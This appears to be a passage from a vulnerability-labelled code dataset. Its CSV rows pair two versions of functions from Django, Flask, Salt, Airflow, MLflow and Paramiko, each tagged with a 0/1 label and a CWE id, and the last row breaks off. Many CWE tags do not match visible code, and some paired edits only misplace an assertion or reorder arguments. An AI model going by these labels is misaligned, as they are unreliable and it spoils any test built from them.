        'filter-removetags01': ('{{ a|removetags:""a b"" }} {{ b|removetags:""a b"" }}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x &lt;p&gt;y&lt;/p&gt; x <p>y</p>""),
        'filter-removetags02': ('{% autoescape off %}{{ a|removetags:""a b"" }} {{ b|removetags:""a b"" }}{% endautoescape %}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x <p>y</p> x <p>y</p>""),

        'filter-striptags01': ('{{ a|striptags }} {{ b|striptags }}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x y x y""),
        'filter-striptags02': ('{% autoescape off %}{{ a|striptags }} {{ b|striptags }}{% endautoescape %}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x y x y""),

        'filter-first01': ('{{ a|first }} {{ b|first }}', {""a"": [""a&b"", ""x""], ""b"": [mark_safe(""a&b""), ""x""]}, ""a&amp;b a&b""),
        'filter-first02': ('{% autoescape off %}{{ a|first }} {{ b|first }}{% endautoescape %}', {""a"": [""a&b"", ""x""], ""b"": [mark_safe(""a&b""), ""x""]}, ""a&b a&b""),

        'filter-last01': ('{{ a|last }} {{ b|last }}', {""a"": [""x"", ""a&b""], ""b"": [""x"", mark_safe(""a&b"")]}, ""a&amp;b a&b""),
        'filter-last02': ('{% autoescape off %}{{ a|last }} {{ b|last }}{% endautoescape %}', {""a"": [""x"", ""a&b""], ""b"": [""x"", mark_safe(""a&b"")]}, ""a&b a&b""),

        'filter-random01': ('{{ a|random }} {{ b|random }}', {""a"": [""a&b"", ""a&b""], ""b"": [mark_safe(""a&b""), mark_safe(""a&b"")]}, ""a&amp;b a&b""),
        'filter-random02': ('{% autoescape off %}{{ a|random }} {{ b|random }}{% endautoescape %}', {""a"": [""a&b"", ""a&b""], ""b"": [mark_safe(""a&b""), mark_safe(""a&b"")]}, ""a&b a&b""),

        'filter-slice01': ('{{ a|slice:""1:3"" }} {{ b|slice:""1:3"" }}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""&amp;b &b""),
        'filter-slice02': ('{% autoescape off %}{{ a|slice:""1:3"" }} {{ b|slice:""1:3"" }}{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""&b &b""),

        'filter-unordered_list01': ('{{ a|unordered_list }}', {""a"": [""x>"", [[""<y"", []]]]}, ""\t<li>x&gt;\n\t<ul>\n\t\t<li>&lt;y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list02': ('{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}', {""a"": [""x>"", [[""<y"", []]]]}, ""\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list03': ('{{ a|unordered_list }}', {""a"": [""x>"", [[mark_safe(""<y""), []]]]}, ""\t<li>x&gt;\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list04': ('{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}', {""a"": [""x>"", [[mark_safe(""<y""), []]]]}, ""\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list05': ('{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}', {""a"": [""x>"", [[""<y"", []]]]}, ""\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),

        # Literal string arguments to the default filter are always treated as
        # safe strings, regardless of the auto-escaping state.
        #
        # Note: we have to use {""a"": """"} here, otherwise the invalid template
        # variable string interferes with the test result.
        'filter-default01': ('{{ a|default:""x<"" }}', {""a"": """"}, ""x<""),
        'filter-default02': ('{% autoescape off %}{{ a|default:""x<"" }}{% endautoescape %}', {""a"": """"}, ""x<""),
        'filter-default03': ('{{ a|default:""x<"" }}', {""a"": mark_safe(""x>"")}, ""x>""),
        'filter-default04': ('{% autoescape off %}{{ a|default:""x<"" }}{% endautoescape %}', {""a"": mark_safe(""x>"")}, ""x>""),

        'filter-default_if_none01': ('{{ a|default:""x<"" }}', {""a"": None}, ""x<""),
        'filter-default_if_none02': ('{% autoescape off %}{{ a|default:""x<"" }}{% endautoescape %}', {""a"": None}, ""x<""),

        'filter-phone2numeric01': ('{{ a|phone2numeric }} {{ b|phone2numeric }}', {""a"": ""<1-800-call-me>"", ""b"": mark_safe(""<1-800-call-me>"")}, ""&lt;1-800-2255-63&gt; <1-800-2255-63>""),
        'filter-phone2numeric02': ('{% autoescape off %}{{ a|phone2numeric }} {{ b|phone2numeric }}{% endautoescape %}', {""a"": ""<1-800-call-me>"", ""b"": mark_safe(""<1-800-call-me>"")}, ""<1-800-2255-63> <1-800-2255-63>""),
        'filter-phone2numeric03': ('{{ a|phone2numeric }}', {""a"": ""How razorback-jumping frogs can level six piqued gymnasts!""}, ""469 729672225-5867464 37647 226 53835 749 747833 49662787!""),

        # Ensure iriencode keeps safe strings:
        'filter-iriencode01': ('{{ url|iriencode }}', {'url': '?test=1&me=2'}, '?test=1&amp;me=2'),
        'filter-iriencode02': ('{% autoescape off %}{{ url|iriencode }}{% endautoescape %}', {'url': '?test=1&me=2'}, '?test=1&me=2'),
        'filter-iriencode03': ('{{ url|iriencode }}', {'url': mark_safe('?test=1&me=2')}, '?test=1&me=2'),
        'filter-iriencode04': ('{% autoescape off %}{{ url|iriencode }}{% endautoescape %}', {'url': mark_safe('?test=1&me=2')}, '?test=1&me=2'),

        # urlencode
        'filter-urlencode01': ('{{ url|urlencode }}', {'url': '/test&""/me?/'}, '/test%26%22/me%3F/'),
        'filter-urlencode02': ('/test/{{ urlbit|urlencode:"""" }}/', {'urlbit': 'escape/slash'}, '/test/escape%2Fslash/'),

        # Chaining a bunch of safeness-preserving filters should not alter
        # the safe status either way.
        'chaining01': ('{{ a|capfirst|center:""7"" }}.{{ b|capfirst|center:""7"" }}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, "" A &lt; b . A < b ""),
        'chaining02': ('{% autoescape off %}{{ a|capfirst|center:""7"" }}.{{ b|capfirst|center:""7"" }}{% endautoescape %}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, "" A < b . A < b ""),

        # Using a filter that forces a string back to unsafe:
        'chaining03': ('{{ a|cut:""b""|capfirst }}.{{ b|cut:""b""|capfirst }}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, ""A &lt; .A < ""),
        'chaining04': ('{% autoescape off %}{{ a|cut:""b""|capfirst }}.{{ b|cut:""b""|capfirst }}{% endautoescape %}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, ""A < .A < ""),

        # Using a filter that forces safeness does not lead to double-escaping
        'chaining05': ('{{ a|escape|capfirst }}', {""a"": ""a < b""}, ""A &lt; b""),
        'chaining06': ('{% autoescape off %}{{ a|escape|capfirst }}{% endautoescape %}', {""a"": ""a < b""}, ""A &lt; b""),

        # Force to safe, then back (also showing why using force_escape too
        # early in a chain can lead to unexpected results).
        'chaining07': ('{{ a|force_escape|cut:"";"" }}', {""a"": ""a < b""}, ""a &amp;lt b""),
        'chaining08': ('{% autoescape off %}{{ a|force_escape|cut:"";"" }}{% endautoescape %}', {""a"": ""a < b""}, ""a &lt b""),
        'chaining09': ('{{ a|cut:"";""|force_escape }}', {""a"": ""a < b""}, ""a &lt; b""),
        'chaining10': ('{% autoescape off %}{{ a|cut:"";""|force_escape }}{% endautoescape %}', {""a"": ""a < b""}, ""a &lt; b""),
        'chaining11': ('{{ a|cut:""b""|safe }}', {""a"": ""a < b""}, ""a < ""),
        'chaining12': ('{% autoescape off %}{{ a|cut:""b""|safe }}{% endautoescape %}', {""a"": ""a < b""}, ""a < ""),
        'chaining13': ('{{ a|safe|force_escape }}', {""a"": ""a < b""}, ""a &lt; b""),
        'chaining14': ('{% autoescape off %}{{ a|safe|force_escape }}{% endautoescape %}', {""a"": ""a < b""}, ""a &lt; b""),

        # Filters decorated with stringfilter still respect is_safe.
        'autoescape-stringfilter01': (r'{{ unsafe|capfirst }}', {'unsafe': UnsafeClass()}, 'You &amp; me'),
        'autoescape-stringfilter02': (r'{% autoescape off %}{{ unsafe|capfirst }}{% endautoescape %}', {'unsafe': UnsafeClass()}, 'You & me'),
        'autoescape-stringfilter03': (r'{{ safe|capfirst }}', {'safe': SafeClass()}, 'You &gt; me'),
        'autoescape-stringfilter04': (r'{% autoescape off %}{{ safe|capfirst }}{% endautoescape %}', {'safe': SafeClass()}, 'You &gt; me'),

        'escapejs01': (r'{{ a|escapejs }}', {'a': 'testing\r\njavascript \'string"" <b>escaping</b>'}, 'testing\\u000D\\u000Ajavascript \\u0027string\\u0022 \\u003Cb\\u003Eescaping\\u003C/b\\u003E'),
        'escapejs02': (r'{% autoescape off %}{{ a|escapejs }}{% endautoescape %}', {'a': 'testing\r\njavascript \'string"" <b>escaping</b>'}, 'testing\\u000D\\u000Ajavascript \\u0027string\\u0022 \\u003Cb\\u003Eescaping\\u003C/b\\u003E'),


        # length filter.
        'length01': ('{{ list|length }}', {'list': ['4', None, True, {}]}, '4'),
        'length02': ('{{ list|length }}', {'list': []}, '0'),
        'length03': ('{{ string|length }}', {'string': ''}, '0'),
        'length04': ('{{ string|length }}', {'string': 'django'}, '6'),
        # Invalid uses that should fail silently.
        'length05': ('{{ int|length }}', {'int': 7}, ''),
        'length06': ('{{ None|length }}', {'None': None}, ''),

        # length_is filter.
        'length_is01': ('{% if some_list|length_is:""4"" %}Four{% endif %}', {'some_list': ['4', None, True, {}]}, 'Four'),
        'length_is02': ('{% if some_list|length_is:""4"" %}Four{% else %}Not Four{% endif %}', {'some_list': ['4', None, True, {}, 17]}, 'Not Four'),
        'length_is03': ('{% if mystring|length_is:""4"" %}Four{% endif %}', {'mystring': 'word'}, 'Four'),
        'length_is04': ('{% if mystring|length_is:""4"" %}Four{% else %}Not Four{% endif %}', {'mystring': 'Python'}, 'Not Four'),
        'length_is05': ('{% if mystring|length_is:""4"" %}Four{% else %}Not Four{% endif %}', {'mystring': ''}, 'Not Four'),
        'length_is06': ('{% with var|length as my_length %}{{ my_length }}{% endwith %}', {'var': 'django'}, '6'),
        # Boolean return value from length_is should not be coerced to a string
        'length_is07': (r'{% if ""X""|length_is:0 %}Length is 0{% else %}Length not 0{% endif %}', {}, 'Length not 0'),
        'length_is08': (r'{% if ""X""|length_is:1 %}Length is 1{% else %}Length not 1{% endif %}', {}, 'Length is 1'),
        # Invalid uses that should fail silently.
        'length_is09': ('{{ var|length_is:""fish"" }}', {'var': 'django'}, ''),
        'length_is10': ('{{ int|length_is:""1"" }}', {'int': 7}, ''),
        'length_is11': ('{{ none|length_is:""1"" }}', {'none': None}, ''),

        'join01': (r'{{ a|join:"", "" }}', {'a': ['alpha', 'beta & me']}, 'alpha, beta &amp; me'),
        'join02': (r'{% autoescape off %}{{ a|join:"", "" }}{% endautoescape %}', {'a': ['alpha', 'beta & me']}, 'alpha, beta & me'),
        'join03': (r'{{ a|join:"" &amp; "" }}', {'a': ['alpha', 'beta & me']}, 'alpha &amp; beta &amp; me'),
        'join04': (r'{% autoescape off %}{{ a|join:"" &amp; "" }}{% endautoescape %}', {'a': ['alpha', 'beta & me']}, 'alpha &amp; beta & me'),

        # Test that joining with unsafe joiners don't result in unsafe strings (#11377)
        'join05': (r'{{ a|join:var }}', {'a': ['alpha', 'beta & me'], 'var': ' & '}, 'alpha &amp; beta &amp; me'),
        'join06': (r'{{ a|join:var }}', {'a': ['alpha', 'beta & me'], 'var': mark_safe(' & ')}, 'alpha & beta &amp; me'),
        'join07': (r'{{ a|join:var|lower }}', {'a': ['Alpha', 'Beta & me'], 'var': ' & '}, 'alpha &amp; beta &amp; me'),
        'join08': (r'{{ a|join:var|lower }}', {'a': ['Alpha', 'Beta & me'], 'var': mark_safe(' & ')}, 'alpha & beta &amp; me'),

        'date01': (r'{{ d|date:""m"" }}', {'d': datetime(2008, 1, 1)}, '01'),
        'date02': (r'{{ d|date }}', {'d': datetime(2008, 1, 1)}, 'Jan. 1, 2008'),
        #Ticket 9520: Make sure |date doesn't blow up on non-dates
        'date03': (r'{{ d|date:""m"" }}', {'d': 'fail_string'}, ''),
        # ISO date formats
        'date04': (r'{{ d|date:""o"" }}', {'d': datetime(2008, 12, 29)}, '2009'),
        'date05': (r'{{ d|date:""o"" }}', {'d': datetime(2010, 1, 3)}, '2009'),
        # Timezone name
        'date06': (r'{{ d|date:""e"" }}', {'d': datetime(2009, 3, 12, tzinfo=timezone.get_fixed_timezone(30))}, '+0030'),
        'date07': (r'{{ d|date:""e"" }}', {'d': datetime(2009, 3, 12)}, ''),
        # Ticket 19370: Make sure |date doesn't blow up on a midnight time object
        'date08': (r'{{ t|date:""H:i"" }}', {'t': time(0, 1)}, '00:01'),
        'date09': (r'{{ t|date:""H:i"" }}', {'t': time(0, 0)}, '00:00'),
        # Ticket 20693: Add timezone support to built-in time template filter
        'time01': (r'{{ dt|time:""e:O:T:Z"" }}', {'dt': now_tz_i}, '+0315:+0315:+0315:11700'),
        'time02': (r'{{ dt|time:""e:T"" }}', {'dt': now}, ':' + now_tz.tzinfo.tzname(now_tz)),
        'time03': (r'{{ t|time:""P:e:O:T:Z"" }}', {'t': time(4, 0, tzinfo=timezone.get_fixed_timezone(30))}, '4 a.m.::::'),
        'time04': (r'{{ t|time:""P:e:O:T:Z"" }}', {'t': time(4, 0)}, '4 a.m.::::'),
        'time05': (r'{{ d|time:""P:e:O:T:Z"" }}', {'d': today}, ''),
        'time06': (r'{{ obj|time:""P:e:O:T:Z"" }}', {'obj': 'non-datetime-value'}, ''),

        # Tests for #11687 and #16676
        'add01': (r'{{ i|add:""5"" }}', {'i': 2000}, '2005'),
        'add02': (r'{{ i|add:""napis"" }}', {'i': 2000}, ''),
        'add03': (r'{{ i|add:16 }}', {'i': 'not_an_int'}, ''),
        'add04': (r'{{ i|add:""16"" }}', {'i': 'not_an_int'}, 'not_an_int16'),
        'add05': (r'{{ l1|add:l2 }}', {'l1': [1, 2], 'l2': [3, 4]}, '[1, 2, 3, 4]'),
        'add06': (r'{{ t1|add:t2 }}', {'t1': (3, 4), 't2': (1, 2)}, '(3, 4, 1, 2)'),
        'add07': (r'{{ d|add:t }}', {'d': date(2000, 1, 1), 't': timedelta(10)}, 'Jan. 11, 2000'),
    }"
,UNKNOWN,UNKNOWN,tests/test_helpers.py,1,"def test_attachment(self):
        app = flask.Flask(__name__)
        with app.test_request_context():
            with open(os.path.join(app.root_path, 'static/index.html')) as f:
                rv = flask.send_file(f, as_attachment=True,
                                     attachment_filename='index.html')
                value, options = \
                    parse_options_header(rv.headers['Content-Disposition'])
                assert value == 'attachment'
                assert options['filename'] == 'index.html'
                assert 'filename*' not in rv.headers['Content-Disposition']
                rv.close()

        with app.test_request_context():
            rv = flask.send_file('static/index.html', as_attachment=True)
            value, options = parse_options_header(rv.headers['Content-Disposition'])
            assert value == 'attachment'
            assert options['filename'] == 'index.html'
            rv.close()

        with app.test_request_context():
            rv = flask.send_file(StringIO('Test'), as_attachment=True,
                                 attachment_filename='index.txt',
                                 add_etags=False)
            assert rv.mimetype == 'text/plain'
            value, options = parse_options_header(rv.headers['Content-Disposition'])
            assert value == 'attachment'
            assert options['filename'] == 'index.txt'
            rv.close()",CWE-703,pallets/flask,8b45009dbc22508ca6d9dc06e79ab23914ed14bb,"def test_attachment(self):
        app = flask.Flask(__name__)
        with app.test_request_context():
            with open(os.path.join(app.root_path, 'static/index.html')) as f:
                rv = flask.send_file(f, as_attachment=True,
                                     attachment_filename='index.html')
                value, options = \
                    parse_options_header(rv.headers['Content-Disposition'])
                assert value == 'attachment'
                rv.close()

        with app.test_request_context():
            assert options['filename'] == 'index.html'
            rv = flask.send_file('static/index.html', as_attachment=True)
            value, options = parse_options_header(rv.headers['Content-Disposition'])
            assert value == 'attachment'
            assert options['filename'] == 'index.html'
            rv.close()

        with app.test_request_context():
            rv = flask.send_file(StringIO('Test'), as_attachment=True,
                                 attachment_filename='index.txt',
                                 add_etags=False)
            assert rv.mimetype == 'text/plain'
            value, options = parse_options_header(rv.headers['Content-Disposition'])
            assert value == 'attachment'
            assert options['filename'] == 'index.txt'
            rv.close()"
,UNKNOWN,UNKNOWN,tests/pytests/functional/states/test_user.py,1,"def test_user_present_existing(states, username):
    win_profile = ""C:\\User\\{}"".format(username)
    win_logonscript = ""C:\\logon.vbs""
    win_description = ""Test User Account""
    ret = states.user.present(
        name=username,
        win_homedrive=""U:"",
        win_profile=win_profile,
        win_logonscript=win_logonscript,
        win_description=win_description,
    )
    assert ret.result is True

    win_profile = ""C:\\Users\\{}"".format(username)
    win_description = ""Temporary Account""
    ret = states.user.present(
        name=username,
        win_homedrive=""R:"",
        win_profile=win_profile,
        win_logonscript=win_logonscript,
        win_description=win_description,
    )
    assert ret.result is True
    assert ret.changes
    assert ""homedrive"" in ret.changes
    assert ret.changes[""homedrive""] == ""R:""
    assert ""profile"" in ret.changes
    assert ret.changes[""profile""] == win_profile
    assert ""description"" in ret.changes
    assert ret.changes[""description""] == win_description",CWE-703,saltstack/salt,ee5661cb4b8666590e950e297099a59b2af90b22,"def test_user_present_existing(states, username):
    win_profile = ""C:\\User\\{}"".format(username)
    win_logonscript = ""C:\\logon.vbs""
    win_description = ""Test User Account""
    ret = states.user.present(
        name=username,
        win_homedrive=""U:"",
        win_profile=win_profile,
        win_logonscript=win_logonscript,
        win_description=win_description,
    )
    assert ret.result is True

    win_profile = ""C:\\Users\\{}"".format(username)
    win_description = ""Temporary Account""
    ret = states.user.present(
        name=username,
        win_homedrive=""R:"",
        win_profile=win_profile,
        win_logonscript=win_logonscript,
        win_description=win_description,
    )
    assert ret.result is True
    assert ret.changes
    assert ""homedrive"" in ret.changes
    assert ret.changes[""homedrive""] == ""R:""
    assert ""profile"" in ret.changes
    assert ret.changes[""profile""] == win_profile
    assert ""description"" in ret.changes
    assert ret.changes[""description""] == win_description"
,UNKNOWN,UNKNOWN,salt/states/boto_vpc.py,1,"def present(name, cidr_block, instance_tenancy=None, dns_support=None,
            dns_hostnames=None, tags=None, region=None, key=None, keyid=None,
            profile=None):
    '''
    Ensure VPC exists.

    name
        Name of the VPC.

    cidr_block
        The range of IPs in CIDR format, for example: 10.0.0.0/24. Block
        size must be between /16 and /28 netmask.

    instance_tenancy
        Instances launched in this VPC will be ingle-tenant or dedicated
        hardware.

    dns_support
        Indicates whether the DNS resolution is supported for the VPC.

    dns_hostnames
        Indicates whether the instances launched in the VPC get DNS hostnames.

    tags
        A list of tags.

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string) that
        contains a dict with region, key and keyid.
    '''
    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}
           }

    exists = __salt__['boto_vpc.exists'](name=name, tags=tags, region=region,
                                         key=key, keyid=keyid, profile=profile)
    if not exists:
        if __opts__['test']:
            ret['comment'] = 'VPC {0} is set to be created.'.format(name)
            ret['result'] = None
            return ret
        created = __salt__['boto_vpc.create'](cidr_block, instance_tenancy,
                                              name, dns_support, dns_hostnames,
                                              tags, region, key, keyid,
                                              profile)
        if not created:
            ret['result'] = False
            ret['comment'] = 'Failed to create {0} VPC.'.format(name)
            return ret
        _describe = __salt__['boto_vpc.describe'](created, region=region, key=key,
                                                  keyid=keyid, profile=profile)
        ret['changes']['old'] = {'vpc': None}
        ret['changes']['new'] = {'vpc': _describe}
        ret['comment'] = 'VPC {0} created.'.format(name)
        return ret
    ret['comment'] = 'VPC present.'
    return ret",CWE-605,saltstack/salt,ecfaf8e668b579f53c131d4a4ef326359359b40c,"def present(name, cidr_block, instance_tenancy=None, dns_support=None,
            dns_hostnames=None, tags=None, region=None, key=None, keyid=None,
            profile=None):
    '''
    Ensure VPC exists.

    name
        Name of the VPC.

    cidr_block
        The range of IPs in CIDR format, for example: 10.0.0.0/24. Block
        size must be between /16 and /28 netmask.

    instance_tenancy
        Instances launched in this VPC will be ingle-tenant or dedicated
        hardware.

    dns_support
        Indicates whether the DNS resolution is supported for the VPC.

    dns_hostnames
        Indicates whether the instances launched in the VPC get DNS hostnames.

    tags
        A list of tags.

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string) that
        contains a dict with region, key and keyid.
    '''
    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}
           }

    exists = __salt__['boto_vpc.exists'](name=name, tags=tags, region=region,
                                         key=key, keyid=keyid, profile=profile)
    if not exists:
        if __opts__['test']:
            ret['comment'] = 'VPC {0} is set to be created.'.format(name)
            ret['result'] = None
            return ret
        created = __salt__['boto_vpc.create'](cidr_block, instance_tenancy,
                                              name, dns_support, dns_hostnames,
                                              tags, region, key, keyid,
                                              profile)
        if not created:
            ret['result'] = False
            ret['comment'] = 'Failed to create {0} VPC.'.format(name)
            return ret
        _describe = __salt__['boto_vpc.describe'](created, region, key,
                                                  keyid, profile)
        ret['changes']['old'] = {'vpc': None}
        ret['changes']['new'] = {'vpc': _describe}
        ret['comment'] = 'VPC {0} created.'.format(name)
        return ret
    ret['comment'] = 'VPC present.'
    return ret"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/api_fastapi/core_api/datamodels/dag_run.py,0,"def check_data_intervals(cls, values):
        if (values.data_interval_start is None) != (values.data_interval_end is None):
            raise ValueError(
                ""Either both data_interval_start and data_interval_end must be provided or both must be None""
            )
        return values",CWE-Unknown,apache/airflow,f50f1cea452630ad1abac98b0a409ff0465147a9,"def check_data_intervals(cls, values):
        if (values.data_interval_start is None) != (values.data_interval_end is None):
            raise ValueError(
                ""Either both data_interval_start and data_interval_end must be provided or both must be None""
            )
        return values"
,UNKNOWN,UNKNOWN,tests/genai/scorers/test_serialization.py,1,"def test_complex_custom_scorer_compatibility():
    """"""Test complex custom scorer with multiple parameters from fixed string.""""""
    # Fixed serialized string for a more complex custom scorer
    fixed_serialized_data = {
        ""name"": ""length_comparison"",
        ""aggregations"": None,
        ""mlflow_version"": ""2.9.0"",
        ""serialization_version"": 1,
        ""builtin_scorer_class"": None,
        ""builtin_scorer_pydantic_data"": None,
        ""call_source"": (
            ""input_len = len(inputs) if inputs else 0\n""
            ""output_len = len(outputs) if outputs else 0\n""
            ""min_ratio = expectations.get('min_ratio', 1.0) if expectations else 1.0\n""
            ""return output_len >= input_len * min_ratio""
        ),
        ""call_signature"": ""(inputs, outputs, expectations)"",
        ""original_func_name"": ""length_comparison"",
    }

    # Test deserialization
    deserialized = Scorer.model_validate(fixed_serialized_data)

    # Verify properties
    assert deserialized.name == ""length_comparison""
    assert deserialized.aggregations is None

    # Test functionality with various inputs
    assert (
        deserialized(inputs=""hello"", outputs=""hello world"", expectations={""min_ratio"": 1.5}) is True
    )  # 11 >= 5 * 1.5 (7.5)

    assert (
        deserialized(inputs=""hello"", outputs=""hi"", expectations={""min_ratio"": 1.5}) is False
    )  # 2 < 5 * 1.5 (7.5)

    assert deserialized(inputs=""test"", outputs=""test"", expectations={}) is True",CWE-703,mlflow/mlflow,6d1469df7094b666b3df723a8c1c93e4d2d05955,"def test_complex_custom_scorer_compatibility():
    """"""Test complex custom scorer with multiple parameters from fixed string.""""""
    # Fixed serialized string for a more complex custom scorer
    fixed_serialized_data = {
        ""name"": ""length_comparison"",
        ""aggregations"": None,
        ""mlflow_version"": ""2.9.0"",
        ""serialization_version"": 1,
        ""builtin_scorer_class"": None,
        ""builtin_scorer_pydantic_data"": None,
        ""call_source"": (
            ""input_len = len(inputs) if inputs else 0\n""
            ""output_len = len(outputs) if outputs else 0\n""
            ""min_ratio = expectations.get('min_ratio', 1.0) if expectations else 1.0\n""
            ""return output_len >= input_len * min_ratio""
        ),
        ""call_signature"": ""(inputs, outputs, expectations)"",
        ""original_func_name"": ""length_comparison"",
    }

    # Test deserialization
    deserialized = Scorer.model_validate(fixed_serialized_data)

    # Verify properties
    assert deserialized.name == ""length_comparison""
    assert deserialized.aggregations is None

    # Test functionality with various inputs
    assert (
        deserialized(inputs=""hello"", outputs=""hello world"", expectations={""min_ratio"": 1.5}) is True
    )  # 11 >= 5 * 1.5 (7.5)

    assert (
        deserialized(inputs=""hello"", outputs=""hi"", expectations={""min_ratio"": 1.5}) is False
    )  # 2 < 5 * 1.5 (7.5)

    assert deserialized(inputs=""test"", outputs=""test"", expectations={}) is True"
,UNKNOWN,UNKNOWN,tests/admin_inlines/tests.py,1,"def test_inline_formset_error_input_border(self):
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:admin_inlines_holder5_add'))
        self.wait_until_visible('#id_dummy')
        self.selenium.find_element_by_id('id_dummy').send_keys(1)
        fields = ['id_inner5stacked_set-0-dummy', 'id_inner5tabular_set-0-dummy']
        show_links = self.selenium.find_elements_by_link_text('SHOW')
        for show_index, field_name in enumerate(fields):
            show_links[show_index].click()
            self.wait_until_visible('#' + field_name)
            self.selenium.find_element_by_id(field_name).send_keys(1)

        # Before save all inputs have default border
        for inline in ('stacked', 'tabular'):
            for field_name in ('name', 'select', 'text'):
                element_id = 'id_inner5%s_set-0-%s' % (inline, field_name)
                self.assertEqual(
                    self.selenium.find_element_by_id(element_id).value_of_css_property('border'),
                    '1px solid rgb(204, 204, 204)',  # 1px solid #cccccc
                )
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        # Test the red border around inputs by css selectors
        stacked_selectors = ['.errors input', '.errors select', '.errors textarea']
        for selector in stacked_selectors:
            self.assertEqual(
                self.selenium.find_element_by_css_selector(selector).value_of_css_property('border'),
                '1px solid rgb(186, 33, 33)',  # 1px solid #ba2121
            )
        tabular_selectors = [
            'td ul.errorlist + input', 'td ul.errorlist + select', 'td ul.errorlist + textarea'
        ]
        for selector in tabular_selectors:
            self.assertEqual(
                self.selenium.find_element_by_css_selector(selector).value_of_css_property('border'),
                '1px solid rgb(186, 33, 33)',  # 1px solid #ba2121
            )",CWE-259,django/django,96c6f9c61c62af8e2e258642b21351484e61b644,"def test_inline_formset_error_input_border(self):
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:admin_inlines_holder5_add'))
        self.wait_until_visible('#id_dummy')
        self.selenium.find_element_by_id('id_dummy').send_keys(1)
        fields = ['id_inner5stacked_set-0-dummy', 'id_inner5tabular_set-0-dummy']
        show_links = self.selenium.find_elements_by_link_text('SHOW')
        for show_index, field_name in enumerate(fields):
            show_links[show_index].click()
            self.wait_until_visible('#' + field_name)
            self.selenium.find_element_by_id(field_name).send_keys(1)

        # Before save all inputs have default border
        for inline in ('stacked', 'tabular'):
            for field_name in ('name', 'select', 'text'):
                element_id = 'id_inner5%s_set-0-%s' % (inline, field_name)
                self.assertEqual(
                    self.selenium.find_element_by_id(element_id).value_of_css_property('border'),
                    '1px solid rgb(204, 204, 204)',  # 1px solid #cccccc
                )
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        # Test the red border around inputs by css selectors
        stacked_selectors = ['.errors input', '.errors select', '.errors textarea']
        for selector in stacked_selectors:
            self.assertEqual(
                self.selenium.find_element_by_css_selector(selector).value_of_css_property('border'),
                '1px solid rgb(186, 33, 33)',  # 1px solid #ba2121
            )
        tabular_selectors = [
            'td ul.errorlist + input', 'td ul.errorlist + select', 'td ul.errorlist + textarea'
        ]
        for selector in tabular_selectors:
            self.assertEqual(
                self.selenium.find_element_by_css_selector(selector).value_of_css_property('border'),
                '1px solid rgb(186, 33, 33)',  # 1px solid #ba2121
            )"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_packetizer.py,0,"def test_3_closed(self):
        if sys.platform.startswith(""win""): # no SIGALRM on windows
            return
        rsock = LoopSocket()
        wsock = LoopSocket()
        rsock.link(wsock)
        p = Packetizer(wsock)
        p.set_log(util.get_logger('paramiko.transport'))
        p.set_hexdump(True)
        cipher = AES.new(zero_byte * 16, AES.MODE_CBC, x55 * 16)
        p.set_outbound_cipher(cipher, 16, sha1, 12, x1f * 20)

        # message has to be at least 16 bytes long, so we'll have at least one
        # block of data encrypted that contains zero random padding bytes
        m = Message()
        m.add_byte(byte_chr(100))
        m.add_int(100)
        m.add_int(1)
        m.add_int(900)
        wsock.send = lambda x: 0
        from functools import wraps
        import errno
        import os
        import signal

        class TimeoutError(Exception):
            def __init__(self, error_message):
                if hasattr(errno, 'ETIME'):
                    self.message = os.sterror(errno.ETIME)
                else:
                    self.messaage = error_message

        def timeout(seconds=1, error_message='Timer expired'):
            def decorator(func):
                def _handle_timeout(signum, frame):
                    raise TimeoutError(error_message)

                def wrapper(*args, **kwargs):
                    signal.signal(signal.SIGALRM, _handle_timeout)
                    signal.alarm(seconds)
                    try:
                        result = func(*args, **kwargs)
                    finally:
                        signal.alarm(0)
                    return result

                return wraps(func)(wrapper)

            return decorator
        send = timeout()(p.send_message)
        self.assertRaises(EOFError, send, m)",,paramiko/paramiko,a4db55c07cf4924c04ec402c16c0eae7de98e4e8,"def test_3_closed(self):
        if sys.platform.startswith(""win""): # no SIGALRM on windows
            return
        rsock = LoopSocket()
        wsock = LoopSocket()
        rsock.link(wsock)
        p = Packetizer(wsock)
        p.set_log(util.get_logger('paramiko.transport'))
        p.set_hexdump(True)
        cipher = AES.new(zero_byte * 16, AES.MODE_CBC, x55 * 16)
        p.set_outbound_cipher(cipher, 16, sha1, 12, x1f * 20)

        # message has to be at least 16 bytes long, so we'll have at least one
        # block of data encrypted that contains zero random padding bytes
        m = Message()
